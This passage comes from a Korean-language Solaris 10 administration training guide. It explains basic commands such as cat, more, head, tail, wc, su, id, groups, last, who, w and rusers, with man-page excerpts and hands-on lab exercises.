91 Solaris Esstential Guide [EX2] file1, file2 두개의파일을하나의 file3 으로합치기 Concatenates file1 and file2, and writes the result in file3 # echo 1111 > file1 /* file1 생성 */ # echo 2222 > file2 /* file2 생성 */ # cat file1 file2 /* file1, file2 내용확인 */ # cat file1 file2 > file3 /* 두개의파일합치기 */ # cat file3 /* file3 내용확인 */ [ 참고 ] cat 명령어로실행파일볼때의주의점 cat 명령어를사용하여실행파일확인하지말자. 예를들어 /usr/bin/ls 명령어의파일을보게되면아무입력도되지않는상태가되므로터미널창 ( 입력창 ) 을닫고다시가상터미널을띄워야한다. 바이너리파일을 cat 명령어올보는경우비프 (beep) 음이계속나오게된다. 이런경우터미널창을종료하여야한다. 바이너리형태의파일은 strings 명령어를사용하면, 출력가능한스트링들만모니터에출력하게된다. (X) # cat /usr/bin/ls (0) # strings /usr/bin/ls

92 Solaris Esstential Guide more 명령어 NAME more, page - browse or page through a text file DESCRIPTION The more utility scrolls up to display one more line in response to a RETURN character. more displays another screenful in response to a SPACE character. Other commands are listed below. OPTIONS The page utility clears the screen before displaying the next screenful of text. page only provides a one-line overlap between screens. The more utility sets the terminal to NOECHO mode, so that the output can be continuous. Commands that you type do not normally show up on your terminal, except for the / and! commands. The /usr/bin/more utility exits after displaying the last specified file. /usr/xpg4/bin/more prompts for a command at the last line of the last specified file. If the standard output is not a terminal, more acts just like cat(1), except that a header is printed before each file in a series. -c Clears before displaying. Redraws the screen instead of scrolling for faster displays. This option is ignored if the terminal does not have the ability to clear to the end of a line. more 명령어는큰파일을출력하는데적합한것으로서, 출력할때화면크기의페이지단위로출력한다. 각페이지가출력된후에출력될내용이아직남아있다면화면하단에 --More--(24%)" 이라는메시지가출력이된다. 여기서 24% 는전체내용에대한현재내용이 24% 이고남은내용이 76% 가남았다는표현이다. more 명령어화면에서엔터 (Return) 키를입력하면한개의라인 (line) 단위로넘어가고스페이스 (Space) 키를입력하면한페이지단위로넘어간다. ( 명령어형식 ) # more file1 /* 파일의내용을페이지단위로출력 */ # more -c file1 /* 화면을 clear 시킨후파일의내용을페이지단위로출력 */ (-c : clear) [ 참고 ] cat & more 차이점 # cat /etc/services /* 파일의내용을페이지단위로볼수없음 */ # more /etc/services /* 파일의내용을페이지단위로보여줌 */ [EX1] more 명령어실습 # CMD more /* 가장많이사용되고있는형식 */ # cat /etc/services more /* 파일의내용을페이지단위로보여줌 */ # more /etc/services /* 파일의내용을페이지단위로보여줌 */ # ps -ef more # cat /etc/services more # pkginfo more # patchadd -p more

93 Solaris Esstential Guide 다음은 more 명령어안에서입력할수있는키값에대한종류이다. [ 참고 ] 매뉴얼페이지안에서사용할수있는여러가지키보드키값 Spacebar Return b /pattern n h q 매뉴얼페이지에서한화면단위로넘어갈때사용매뉴얼페이지에서한라인씩넘어갈때사용 Back Screen, 한화면전화면으로넘어갈때사용특정한패턴을빨리찾을때사용 Next, 특정한패턴을찾은후다음번째똑같은문자열을찾을때사용 Help, 매뉴얼페이지안에서사용할수있는모든명령어에대한소개 Quit, 매뉴얼페이지에서빠져나감

94 Solaris Esstential Guide head 명령어 NAME head - display first few lines of files DESCRIPTION The head utility copies the first number of lines of each filename to the standard output. If no filename is given, head copies lines from the standard input. The default value of number is 10 lines. 파일의처음시작부분의몇줄을출력하고자할때사용한다. 따라서긴파일의내용의앞부분만을출력하고자할때유용하게사용될수있다. head 명령어에아무런옵션없이사용된경우문서의처음 10 줄을보여준다. ( 명령어형식 ) # head /etc/passwd /* 파일의상단 10 줄을출력 */ # head -10 /etc/passwd # head -5 /etc/passwd /* 파일의상단 5 줄을출력 */ [EX1] head 명령어의활용예유닉스에서명령어수행시헤드라인 (Head Line) 정보도같이보이게된다면출력내용을해석하는데많은도움이될것이다. 하지만대부분은명령어는출력내용이많으며, 전체출력내용중 grep 명령어를사용하여원하는일부만출력하게된다. 이때 head 명령어를같이사용하게되면, 명령어의헤드라인정보와명령어의원하는출력결과를한꺼번에볼수있다. # ps -ef # ps -ef more # ps -ef grep inetd # ps -ef head -1 UID PID PPID C STIME TTY TIME CMD # ps -ef head -1 ; ps -ef grep inetd UID PID PPID C STIME TTY TIME CMD root :25:16? 0:00 /usr/sbin/inetd -s # alias pps='ps -ef head -1 ; ps -ef grep $1' /* $1 : 첫번째인자 */ # pps inetd # pps java ( 다른예제 ) # telnet localhost root 사용자로로그인 # netstat -an more # netstat -an grep # netstat -an head -4 # netstat -an head -4 ; netstat -an grep # alias nstat='netstat -an head -4 ; netstat -an grep $1' # nstat # exit

95 Solaris Esstential Guide tail 명령어 NAME tail - deliver the last part of a file DESCRIPTION The tail utility copies the named file to the standard output beginning at a designated place. If no file is named, the standard input is used. Copying begins at a point in the file indicated by the -cnumber, -nnumber, or +number options (if +number is specified, begins at distance number from the beginning; if -number is specified, from the end of the input; if number is NULL, the value 10 is assumed). number is counted in units of lines or byte according to the -c or -n options, or lines, blocks, or bytes, according to the appended option l, b, or c. When no units are specified, counting is by lines. 파일의끝부분만출력하고자할때사용하는명령어이다. 아무런옵션없이사용하는경우기본적으로파일의마지막 10 줄을출력한다. 사용자를추가하면 /etc/passwd 파일에마지막에추가되는데새로추가된사용자를확인할때 tail 명령어에 -1 옵션을사용하여사용자추가를확인할수도있다. ( 명령어형식 ) # tail /etc/passwd /* 파일의마지막 10줄을출력 */ # tail -10 /etc/passwd # tail -5 /etc/passwd /* 파일의마지막 5줄을출력 */ # tail +5 /etc/passwd /* 파일의 5번째줄부터마지막까지출력 */ # tail -f /var/adm/sulog /* 로그파일은모니터링 */ < Q & A > [ 질문 ] 파일이 30 라인으로되어져있는데파일중간의 10 라인만프린터로출력해볼수있나요? [ 답변 ] 다음과같은명령어를통해가능합니다. # head -20 filename tail -10 lp [EX1] 사용자추가후추가된사용자확인 (tail -1 사용 ) # useradd -m -d /export/home/user02 -s /bin/ksh user02 /* user02 사용자추가 */ # passwd user02 /* user02 사용자암호설정 */ # tail -1 /etc/passwd /* 사용자추가확인 */ or # cat /etc/passwd grep user02 /* 사용자추가확인 */ [EX2] 로그모니터링 [TERM1] 관리자윈도우 # tail -f /var/adm/sulog /* /var/adm/sulog 파일모니터링 */ SU 05/09 11:56 + pts/6 root-user01 SU 05/09 11:57 - pts/6 user01-user02 [TERM2] 사용자윈도우 # su - user01 /* user01 사용자로스위칭 */ $ su - user02 /* user02 사용자로스위칭실패 */ 정상적인암호를입력하지않는다 (( 예 ) 암호 :k)

96 Solaris Esstential Guide [ 참고 ] tail -f 활용방법 ( ㄱ ) 서버상태모니터링 ( 실시간적인모니터링 ) # tail f /var/adm/messages ( ㄴ ) 로그모니터링시특정단어검색모니터링 # tail -f /var/adm/messages grep named # tail -f /var/adm/messages grep DHCP # tail -f /var/adm/messages grep kernel

97 Solaris Esstential Guide Solaris 10 Essential Guide 4. Solaris Basic Commands l 기타관리용명령어 l wc CMD 파일의라인수 / 워드수 / 문자수 l su CMD 사용자스위칭 l id CMD 사용자의아이디확인 l group CMD 사용자의그룹정보확인 l last CMD 최근에로그인 / 로그아웃정보확인 l who CMD 로그인한사용자확인 l w CMD 사용자의실행중인명령어확인 l rusers CMD 원격서버의로그인사용자확인 관리자가주로사용하고있는간단한명령어들이있다. 물론일반사용자도사용할수있는명령어들이다. l wc 명령어는주로성능카운트할때사용한다. l su 명령어는주로 root 사용자로전환 (Swtiching) 할때사용한다. l id, groups 명령어는주로현재사용자의기본적인 UID, GID 번호들을확인할때사용한다. l last, who, w 명령어는사용자들이서버에로그인 / 로그아웃한정보확인및현재로그인한사용자정보, 사용자들이사용하고있는명령어확인등을수행한다. l rusers 명령어는원격서버에로그인한사용자정보를확인할때사용한다

98 Solaris Esstential Guide wc 명령어 NAME wc - display a count of lines, words and characters in a file DESCRIPTION The wc utility reads one or more input files and, by default, writes the number of newline characters, words and bytes contained in each input file to the standard output. The utility also writes a total count for all named files, if more than one input file is specified. wc considers a word to be a non-zero-length string of characters delimited by white space (for example, SPACE, TAB). See iswspace(3c) or isspace(3c). OPTIONS -c Counts bytes. -l Counts lines. -m Counts characters. -w Counts words delimited by white space characters or new line characters. Delimiting characters are Extended Unix Code (EUC) characters from any code set defined by iswspace(). If no option is specified, the default is -lwc (counts lines, words, and bytes.) 파일내의문자수, 단어수, 그리고라인수를확인하고자할때사용한다. wc 명령어를사용하여프로세스의수, 시스템에설치된패키지의수, 시스템에설치된패치의수등을확인할때사용할수있다. wc 명령어에 -l 옵션은쉘스크립트나파일에대한무결성체크등많은곳에서활용이가능하다. ( 명령어형식 ) # wc /etc/passwd # wc l /etc/passwd (-l : Line Count) # wc w /etc/passwd (-w : Word Count) # wc c /etc/passwd (-c : Character Count) [ 참조 ] wc -l 명령어응용예 # cat /etc/passwd wc -l /* 시스템사용자수 */ # pkginfo wc -l /* 시스템설치패키지수 */ # patchadd -p wc -l /* 시스템설치패치수 */ # ps -ef wc -l /* 현재실행중인프로세스수 */

99 Solaris Esstential Guide [ 참고 ] 시스템성능 / 사용량카운트수집 (Data Gathering) ( 시스템성능 / 사용량카운트수집 ) Data Gathering wc 명령어는 -l 옵션을사용하는경우가많다. 이옵션은라인수를세는역할을가지지만데이터를수집하여라인수를세면많은의미를갖게된다. 다음은 wc 명령어의 -l 옵션을통해활용하는예이다. ( 첫번째예 ) Apache Webserver 사용자모니터링 - apache 1.3.X (Process 방식 ) - apache 2.X (Thread 방식 ) Web Client > Web Server(DAUM) httpd # ps -ef grep httpd wc -l > httpd.count ( 두번째예 ) 디스크사용량모니터링 # df -k # df -k / tail -1 awk '{print $5}' > df.count ( 세번째예 ) FTP 사용자모니터링 # ftpcount grep realuser awk '{print $5}' > ftp.count ( 원리 ) 데이터수집 (Data Gathering) 의원리 l 관리자가수행하는모든명령어의출력결과를데이터로수집할수있다. l 관리자가볼수있는모든파일의내용을데이터로수집할수있다. [ 참고 ] MRTG, rrdtool, cacti -> " 자유게시판 " -> 580 번자료 -> " 서버프로젝트 [ 일당백 ]" -> 21 번자료

100 Solaris Esstential Guide su 명령어 NAME su - become superuser or another user(switching User) DESCRIPTION The su command allows one to become another user without logging off or to assume a role. The default user name is root (superuser). To use su, the appropriate password must be supplied (unless the invoker is already root). If the password is correct, su creates a new shell process that has the real and effective user ID, group IDs, and supplementary group list set to those of the specified username. Additionally, the new shell's project ID is set to the default project ID of the specified user. See getdefaultproj(3project), setproject(3project). The new shell will be the shell specified in the shell field of username's password file entry (see passwd(4)). If no shell is specified, /usr/bin/sh is used (see sh(1)). If superuser privilege is requested and the shell for the superuser cannot be invoked using exec(2), /sbin/sh is used as a fallback. To return to normal user ID privileges, type an EOF character (<CTRL-D>) to exit the new shell. 사용자가다른사용자로전환 (Switching) 할때 su 명령어를사용한다. 일반사용자가 root 사용자로전환할때만사용하는것이아니다. l 일반사용자가다른사용자가되는것은권한이높아지는것이기때문에될려고하는사용자의암호를맞추어야만변환 (Switching) 이가능하다. l root 사용자가다른사용자가되는것은권한이낮아지는것이기때문에될려고하는사용자의암호를입력할필요가없고바로변환 (Switching) 이가능하다. End User => root (O) EX) user01 => root End User => End User (O) EX) user01 => user02 root => End User (O) EX) root => user01 root => root (X) /* 이경우가안되는것이아니지만사용할필요는없다 */ ( 명령어형식 ) # su [user] # su - [user] ( su bin & su - bin 차이점 ) Becoming User bin While Retaining Your Previously Exported Environment To become user bin while retaining your previously exported environment, execute: example% su bin Example 2: Becoming User bin and Changing to bin's Login Environment To become user bin but change the environment to what would be expected if bin had originally logged in, execute: example% su - bin

101 Solaris Esstential Guide [EX1] "su bin / su - bin" 명령어실습 # cd /etc # pwd # su user01 (a). shell prompt (# echo $PS1) /* 쉘변수가변경이되었는가? */ (b). current directory (# pwd) /* 현재디렉토리가어디인가? */ (c). echo $PATH /* PATH 변수가어떻게되었나요? */ # id # exit # cd /etc # pwd # su - user01 (a). shellp prompt ($ echo $PS1) /* 쉘변수가변경이되었는가? */ (b). current directory ($ pwd) /* 현재디렉토리가어디인가? */ (c). echo $PATH /* PATH 변수가어떻게되었나요? */ $ id $ exit [ 참고 ] 오라클사용자로전환 (When Oracle User Switching) ( 시나리오 ) root 사용자로작업을하다가 oracle 사용자로전환해야하는경우다음과같이명령어를사용하지않는다면문제가발생할수있다. 이것은 oracle 사용자의홈디렉토리에존재하는환경파일 ( 예 : ~/.profile) 의변수설정이되지않는다면 oracle 사용자가정상적으로작업을할수없기때문이다. # su oracle (X) # su - oracle (0) [ 참고 ] 쉘스크립트에서많이사용되는 su 명령어의예 To execute command with the temporary environment and permissions of user bin # su - bin -c "command args" ( 참고 : sudo CMD) 필요한에따라서 su 명령어의 -c 옵션을사용하지않고 sudo 명령어를사용할수도있다. sudo 명령어는기본적으로내장된명령어가아니기때문에 sunfreeware 사이트에서받아서설치해줘야한다

102 Solaris Esstential Guide id 명령어 NAME id - return user identity(identification) DESCRIPTION If no user operand is provided, the id utility writes the user and group IDs and the corresponding user and group names of the invoking process to standard output. If the effective and real IDs do not match, both are written. If multiple groups are supported by the underlying system, /usr/xpg4/bin/id also writes the supplementary group affiliations of the invoking process. If a user operand is provided and the process has the appropriate privileges, the user and group IDs of the selected user are written. In this case, effective IDs are assumed to be identical to real IDs. If the selected user has more than one allowable group membership listed in the group database, /usr/xpg4/bin/id writes them in the same manner as the supplementary groups described in the preceding paragraph. OPTOINS -a Reports user name, user ID and all the groups to which the user belongs. id 명령어는현재사용자의 UID 와 GID 를확인할때사용한다. UID 는 User ID 로사용자를구분할때사용하는번호이다. 이번호는사용자가추가될때, 관리자가할당해준다. 사용자의 UID 번호는곧운영체제안에서권한을구분하게되는값이다. 사용자에대한 UID 정보는 /etc/passwd 파일에서확인할수있다. GID 는 Group ID 로그룹을구분할때사용하는번호이다. 이번호는그룹이추가될때, 관리자가할당해준다. 그룹의 GID 번호는곧운영체제안에서권한을구분하게되는값이다. 그룹에대한 GID 정보는 /etc/group 파일에서확인할수있다. ( 명령어형식 ) # id /* 사용자의 UID/GID 확인 */ # id -a /* 사용자의 UID/GID 외에도 Secondary Group에대한정보도같이확인 */ # id user01 /* 지정된사용자의 UID/GID 확인 */ [ 참고 ] root 사용자의 UID, GID UID=0(root), GID=0(root) 솔라리스 10 버전에서는 root 사용자의 GID 번호가 0(root 그룹 ) 으로변경이되었다. 솔라리스 9 버전에서는 root 사용자의 GID 번호가 1(other 그룹 ) 이다. 솔라리스 10 버전에서는 root 사용자의주그룹이 root 로변경이되었다. [EX1] 명령어실습 # id /* root 사용자의 UID/GID 확인 */ uid=0(root) gid=0(root) # id -a /* root 사용자의 UID/GID 외에도부그룹에대한정보도같이확인 */ uid=0(root) gid=0(root) groups=0(root),1(other),2(bin),3(sys),4(adm),5(uucp),6(mail),7(tty),8(lp),9(nuucp),12(daemon) # id user01 /* user01 사용자의 UID/GID 확인 */ uid=100(user01) gid=1(other)

103 Solaris Esstential Guide [ 참고 ] UID/GID, EUID/EGID UID(Real UID, User Identification) / EUID(Effective UID) GID(Real GID, Group Identification) / EGID(Effective GID) UID/GID 확인명령어 : who am i EUID/EGID 확인명령어 : id, whoami [EX] UID, GID, EUID, EGID 개념의이해 # telnet localhost user01 사용자로로그인 $ id /* 현재사용자확인 */ uid=100(user01) gid=100(class1) $ /usr/ucb/whoami /* 현재사용자확인 */ user01 $ who am i /* 로그인사용자확인 */ user01 pts/9 Feb 2 01:48 (localhost) $ su - root Password: <----- root 사용자암호입력 # id /* 현재사용자확인 */ uid=0(root) gid=0(root) # whoami /* 현재사용자확인 */ root # who am i /* 로그인사용자확인 */ user01 pts/9 Feb 2 01:48 (localhost) ===== HOSTA ===== ===== HOSTB ====== # telnet HOSTB > user01 사용자로로그인 $ id $ whoami $ who am i $ su - root # id # whoami # who am i # su - user02 $ id $ /usr/ucb/whoami $ who am i $ exit $ exit UID EUID > user01 사용자로로그인했을때 > "su - root" 명령어수행후 > "su - user02" 명령어수행후

104 Solaris Esstential Guide groups 명령어 NAME groups - print group membership of user DESCRIPTION The command groups prints on standard output the groups to which you or the optionally specified user belong. Each user belongs to a group specified in /etc/passwd and possibly to other groups as specified in /etc/group. Note that /etc/passwd specifies the numerical ID (gid) of the group. The groups command converts gid to the group name in the output. groups 명령어는사용자가속한모든그룹에대한정보를확인할때사용한다. 유닉스시스템에서한명의사용자는반드시 1 개이상의그룹에속해야한다. 여기서반드시속해야하는그룹을주그룹 (Primary Group) 라고한다. 솔라리스에서는 15 개의부그룹 (Secondary Group) 에더속할수있다. 따라서솔라리스에서한명의사용자는최대 16 개의그룹에속할수있다. 사용자에대한주그룹정보는 /etc/passwd 파일의 GID 필드 (4 번째필드 ) 에서확인이가능하고, 사용자에대한부그룹정보는 /etc/group 파일의 User List(4 번째필드 ) 에서확인이가능하다. ( 명령어형식 ) # groups /* 사용자가속한모든그룹정보확인 */ # groups user01 /* 지정된사용자가속한모든그룹정보확인 */ # groups user01 user02 /* 여러사용자가속한모든그룹정보확인 */ [EX1] groups 명령어실습 # groups /* root 사용자가속한모든그룹정보확인 */ root other bin sys adm uucp mail tty lp nuucp daemon # groups user01 /* user01 사용자가속한모든그룹정보확인 */ staff # groups user01 root /* root, user01 사용자가속한모든그룹정보확인 */ user01 : staff root : root other bin sys adm uucp mail tty lp nuucp daemon

105 Solaris Esstential Guide last 명령어 NAME last - display login and logout information about users and terminals The last command looks in the /var/adm/wtmpx file, which records all logins and logouts, for information about a user, a terminal, or any group of users and terminals. Arguments specify names of users or terminals of interest. If multiple arguments are given, the information applicable to any of the arguments is printed. For example, last root console lists all of root's sessions, as well as all sessions on the console terminal. last displays the sessions of the specified users and terminals, most recent first, indicating the times at which the session began, the duration of the session, and the terminal on which the session took place. last also indicates whether the session is continuing or was cut short by a reboot. The pseudo-user reboot logs in when the system is shutdown and when it reboots. Thus, last reboot gives an approximate record of when the operating system instance was shutdown and when it rebooted. This can be used to calculate the availability of the operating system over time. last with no arguments displays a record of all logins and logouts, in reverse order. If last is interrupted, it indicates how far the search has progressed in /var/adm/wtmpx. If interrupted with a quit signal (generated by a CTRL-\), last indicates how far the search has progressed, and then continues the search. last 명령어는사용자의로그인 / 로그아웃정보를출력할때사용하는명령어이다. last 명령어는 /var/adm/wtmpx 파일를참조하여출력한다. last 명령어를사용하면사용자들이언제로그인했다가언제로그아웃했는지확인할수있다. 관리자에게는중요한기록이며, 현재로그인하여시스템을사용중인사용자들도확인이가능하다. ( 명령어형식 ) # last /* 사용자들의로그인 / 로그아웃기록확인 */ # last user01 /* 지정된사용자의로그인 / 로그아웃정보확인 */ # last reboot /* 시스템의부팅시간확인 */ (last 명령어의출력결과 ) User # last grep -v reboot (-v : inverse) # last user01 (# last grep user01) reboot # last reboot (# last grep reboot)

106 Solaris Esstential Guide ( 명령어출력화면해석 ) # last head... ( 중략 )... user01 pts/11 localhost Sat Jan 12 14:51-15:29 (00:38) root pts/ Tue Jan 8 11:12 - down (05:02) root pts/ Fri Sep 12 13:42 still logged in... ( 중략 ) 필드 설명 user01 사용자의이름 pts/11 제어터미널 ( 가상터미널 ) localhost 원격호스트 Sat Jan 12 14:51 로그인시간 15:29 로그아웃시간 (00:38) 총사용한시간 # last reboot... ( 중략 )... reboot system boot Thu Jan 10 15: 필드설명 reboot 가상사용자 system boot 상태정보 Thu Jan 10 15:39 리부팅시간 wtmpx, utmpx 파일 /var/adm/utmpx - who 명령어참조 /var/adm/wtmpx - last 명령어참조 [ 참고 ] wtmpx, utmpx 파일 last 명령어는 /var/adm/wtmpx 파일을출력한다. 하지만 wtmpx 파일은데이터 (Data) 형태의파일이기때문에안의내용을 cat 명령어나 vi 편집기로열어서확인할수없다. 따라서, last 명령어가 wtmpx 파일을참고하고있는지는다음과같은테스트를통해확인해볼수있다. [EX] /var/adm/utmpx & /var/adm/wtmpx # cd /var/adm # mv wtmpx wtmpx.old /* wtmpx 파일이동 */ # last /* last 명령어의출력결과확인 : 출력내용없음 */ # mv wtmpx.old wtmpx /* wtmpx 파일되돌리기 */ # last /* last 명령어의출력결과확인 : 출력결과있음 */ wtmpx, utmpx 파일내용확인 utmpx(data 파일 ) 파일에는 who, write, login 등과같은명령에대한사용자엑세스및계정정보가들어있다. wtmpx(data 파일 ) 파일에는사용자엑세스및계정정보기록을포함하고있다. 이두개의파일은이진형식의파일이므로 cat 명령어를통해바로볼수가없다. 따라서다음과같이 fwtmp 명령어를연결하여확인하여야한다. # cat /var/adm/wtmpx /usr/lib/acct/fwtmp # cat /var/adm/utmpx /usr/lib/acct/fwtmp

107 Solaris Esstential Guide [ 참고 ] last 명령어의쓰임 ( 시나리오 ) 최근에특정한파일을지운사용자확인솔라리스개발서버에서한개발자가어제 file.log 파일이지워졌다고한다. 파일을지운사용자를찾아달라고요청이들어왔다. 관리자 (root) 는어제 file.log 파일을지운사용자를추적한다. 이서버는개발서버로개발자가하루에한번씩들어와서개발한다. 개발자들은각각의계정을가지고있으며, 많은계정이존재한다. 사용자홈디렉토리는 /export/home/< 사용자이름 > 되어있다. 지워진파일은중요한파일이며파일의이름이 file.log 이다. l ( 가정 ) 어제특정한파일 ( 예 : file.log) 이지워진것같다. l ( 정보 1) 어제파일이지워졌다. # last grep 'May 11' (May 11 : 어제날짜 ) -> 어제파일이지워졌으므로, 어제로그인 / 로그아웃한사용자중한명일가능성이높다. l ( 정보 2) 파일 (file.log) 가지워졌다. ~/.sh_history(ex: ksh), ~/.bash_history(ex: bash) rm CMD, file.log -> 사용자가사용한이전명령어들은히스토리파일 (~user/.sh_history) 안에기록된다. -> file.log 파일이지워졌으므로, rm 명령어가사용되었을것이다. ( 사용자홈디렉토리에히스토리파일중 rm 명령어사용유무검색 ) # cat ~< 사용자 >/.sh_history egrep rm # cat ~< 사용자 >/.sh_history egrep rm egrep file.log ( 모든사용자홈디렉토리에히스토리파일중 rm 명령어사용유무검색 ) # cat /export/home/*/.sh_history egrep rm # cat /export/home/*/.sh_history egrep rm egrep file.log ( 모든사용자홈디렉토리에히스토리파일중 rm 명령어사용한사용자검색 ) # egrep -l rm /export/home/*/.sh_history # egrep -l rm /export/home/*/.sh_history xargs egrep file.log [EX] 시나리오실습 [TERM1] user01 사용자의윈도우 # telnet localhost user01 사용자로로그인 $ id $ cp /etc/passwd file.log $ rm file.log $ exit [TERM2] root 사용자의윈도우 # last grep 'Jan 5' # cat /export/home/*/.sh_history egrep file.log # egrep -l 'rm file.log' /export/home/*/.sh_history ( 주의 ) 위의과정에서 rm 명령어검색시 grep 명령어를사용하면안된다. 이유는히스토리파일은 data 파일이기때문에 grep 명령어를통해검색이가능하지않다. 따라서 grep 명령어의확장형태인 egrep 명령어를사용해야한다. # cd ~user01 # ls -l.sh_history -rw user01 other 260 Nov 30 14:10.sh_history

108 Solaris Esstential Guide # file.sh_history.sh_history: data # grep rm.sh_history # egrep rm.sh_history rm file.log

109 Solaris Esstential Guide who 명령어 NAME who - who is on the system DESCRIPTION The who utility can list the user's name, terminal line, login time, elapsed time since activity occurred on the line, and the process-id of the command interpreter (shell) for each current UNIX system user. It examines the /var/adm/utmpx file to obtain its information. If file is given, that file (which must be in utmpx(4) format) is examined. Usually, file will be /var/adm/wtmpx, which contains a history of all the logins since the file was last created. OPTIONS The following options are supported: -a Processes /var/adm/utmpx or the named file with -b, -d, -l, -p, -r, -t, -T, and -u options turned on. -H Outputs column headings above the regular output. -r Indicates the current run-level of the init process. who 명령어는서버시스템에로그인한사용자들을확인할때사용하는명령어이다. 로그인한사용자들에대한정보만을출력하며, 로그인한사용자이름, 제어터미널정보, 로그인한시간, 원격호스트등의정보가출력된다. ( 명령어형식 ) # who /* 현재로그인한사용자목록확인 */ # who -r /* 현재 Runlevel 확인 */ # who -H /* 헤드라인정보표시 */ ( 명령어출력화면해석 ) # who root pts/4 1 월 14 09:57 ( :0.0) 필드 설명 root 사용자정보 pts/4 제어터미널 1월 14 09:57 로그인시간 원격호스트 [ 참고 ] who 명령어의 /var/adm/utmpx 참조확인 # mv /var/adm/utmpx /var/adm/utmpx.old # who # mv /var/adm/utmpx.old /var/adm/utmpx

110 Solaris Esstential Guide [EX] 로그인실습 # telnet user01 사용자로로그인 (solaris254) $ who user01 pts/1 7월 11 12:34 (solaris204) user01 pts/2 7월 11 12:34 (solaris213) user01 pts/3 7월 11 12:34 (solaris229) user01 pts/4 7월 11 12:34 (solaris225) user01 pts/7 7월 11 12:34 (solaris221) user01 pts/9 7월 11 12:34 (solaris217) $ tty /dev/pts/4 $ exit

111 Solaris Esstential Guide whodo/w 명령어 NAME whodo - who is doing what DESCRIPTION The whodo command produces formatted and dated output from information in the /var/adm/utmpx and /proc/pid files. The display is headed by the date, time, and machine name. For each user logged in, device name, user-id and login time is shown, followed by a list of active processes associated with the user-id. The list includes the device name, process-id, CPU minutes and seconds used, and process name. If user is specified, output is restricted to all sessions pertaining to that user. OPTINOS -l Produce a long form of output. The fields displayed are: the user's login name, the name of the tty the user is on, the time of day the user logged in (in hours:minutes), the idle time - that is, the time since the user last typed anything (in hours:minutes), the CPU time used by all processes and their children on that terminal (in minutes:seconds), the CPU time used by the currently active processes (in minutes:seconds), and the name and arguments of the current process. ( 명령어형식 ) # whodo /* 사용자들이사용하는명령어를간략한정보로출력 */ # whodo user01 /* 지정된사용자가사용하는명령어를간략한정보로출력 */ # whodo -l /* w CMD 명령어출력형태로출력와같음, 자세한정보출력 */ # w /* 사용자들이사용하는명령어를자세하게정보로출력 */ # w user01 /* 지정된사용자가사용하는명령어를자세하게정보로출력 */ ( 명령어출력화면해석 ) # w... ( 중략 )... user01 pts/8 7:16 오후 -ksh 필드 설명 user01 사용자이름 pts/8 제어터미널 7:16오후 명령어수행시간 -ksh 수행명령어

112 Solaris Esstential Guide [EX1] 악의적인사용자로그아웃시키기일반사용자가 /etc/passwd 파일을살펴볼필요는없다. 관리자의입장에서바라볼때일반사용자가 /etc/passwd 파일을열고있는것은악의적인사용자일가능성을가지고있는사용자이다. 이런경우관리자는로그인한사용자를확인하고 (who 명령어사용 ), 사용자들이사용하고있는명령어들을확인하고 (w 명령어사용 ), 특이한사항이있는사용자를모니터링한다.(w user01 명령어사용 ) [TERM1] use01 사용자윈도우 # telnet localhost user01 사용자로로그인 $ vi /etc/passwd -> 사용자로서 /etc/passwd 파일을열고있다. [TERM2] 관리자윈도우 ( ㄱ ) 서버의현재상태점검 (CPU I/O, MEM I/O, DISK I/O, Network I/O,...) ( ㄴ ) 서버의이전상태점검 ( 로그파일분석 ) ( ㄷ ) 서버의목적에맞는상태점검 (EX: DB, WAS,...) # who /* 시스템에로그인한사용자확인 */ root pts/2 May 17 19:32 ( ) root pts/3 May 17 19:32 ( :0.0) root pts/4 May 17 22:18 ( :0.0) user01 pts/5 May 17 22:19 (localhost) # w /* 사용자가사용하는명령어확인 */ 10:20pm up 3:06, 2 users, load average: 0.02, 0.02, 0.01 User tty login@ idle JCPU PCPU what root pts/2 7:32pm 2: w root pts/3 7:32pm w root pts/4 10:18pm 1 telnet localhost user01 pts/5 10:19pm 1 vi /etc/passwd # w user01 /* user01 사용자가사용하는명령어확인 */ 10:21pm up 3:06, 2 users, load average: 0.02, 0.02, 0.01 User tty login@ idle JCPU PCPU what user01 pts/5 10:19pm 2 vi /etc/passwd # while [ 1 ] /* user01 사용자가사용하는명령어모니터링 */ > do > w user01 > sleep 2 > done [ 참고 ] watch ( 기본내장아님, [TERM3] 관리자윈도우 # ps -U user01 /* user01 사용자의 ksh PID 번호확인 */ PID TTY TIME CMD 2799 pts/5 0:00 vi 2780 pts/5 0:00 ksh -> ksh's PID(2780) # kill /* -9 : Kill Signal */

113 rusers 명령어 NAME rusers - who is logged in on remote machines DESCRIPTION The rusers command produces output similar to who(1), but for remote machines. The listing is in the order that responses are received, but this order can be changed by specifying one of the options listed below. A remote host will only respond if it is running the rusersd daemon, which may be started up from inetd(1m) or listen(1m). OPTIONS -a Give a report for a machine even if no users are logged on. -h Sort alphabetically by host name. -l Give a longer listing in the style of who(1). rusers 명령어는원격서버에접속한사용자들을확인할수있다. 하지만, 서버관리자입장에서자신의서버에로그인한사용자들을다른서버에서확인하는것은좋은방법이아니기때문에, 보통서비스를내려놓는다. 실무에서는서비스를반드시내려놓을것을권장한다. ( 명령어형식 ) # rusers -a /* 로그인된사용자가없어도호스트출력 */ # rusers -h /* 호스트이름별로정렬해서출력 */ # rusers -l /* who 명령어스타일로자세한정보출력 */ # rusers /* 지정된호스트에대해로그인한사용자정보출력 */ [EX1] rusers 명령어수행예 # rusers -h Collecting responses... Sending broadcast for rusersd protocol version 3... Sending broadcast for rusersd protocol version root root root root root root root root root root root root root root solaris247 root root [EX2] rusers 서비스 ON/OFF(SMF 서비스체계 ) # svcs -a grep rusers /* 서비스확인 */ online 13:08:54 svc:/network/rpc/rusers:default # svcadm disable rusers /* rusers 서비스 disable */ # svcadm enable rusers /* rusers 서비스 enable */

114 exit 명령어 NAME exit - End the application DESCRIPTION Terminate the process, returning returncode to the system as the exit status. If return Code isn't specified then it defaults to 0. exit 명령어는현재프로그램을종료하는역할을가진다. exit 명령어를통해 (a) 현재터미널을종료하거나 (b) 타서버에접속했다가로그아웃할때사용하기도하고 (c) 서브쉘을종료할때사용할수있다. exit 명령어다음에숫자를쓸수있으면, 쓸수있는숫자의범위는 0 ~ 255 까지이다. 0 을사용하면정상종료를나타내고, 나머지번호를사용하면비정상종료를나타낸다. ( 명령어형식 ) # exit [Number] [EX1] 현재터미널종료 # ps # exit /* 현재쉘종료, 곧현재터미널종료 */ [EX2] 로그아웃 # telnet root 사용자로로그인 # hostname # ps # exit /* 서버에로그인한후로그인쉘종료, 로그아웃 */ [EX3] 서브쉘종료 # ps # bash # ps # exit /* 서브쉘실행후서브쉘종료 */ [EX4] 사용자전환후원본사용자로복귀 # su user01 $ id $ ps $ exit /* 원래사용자로복귀 */ #

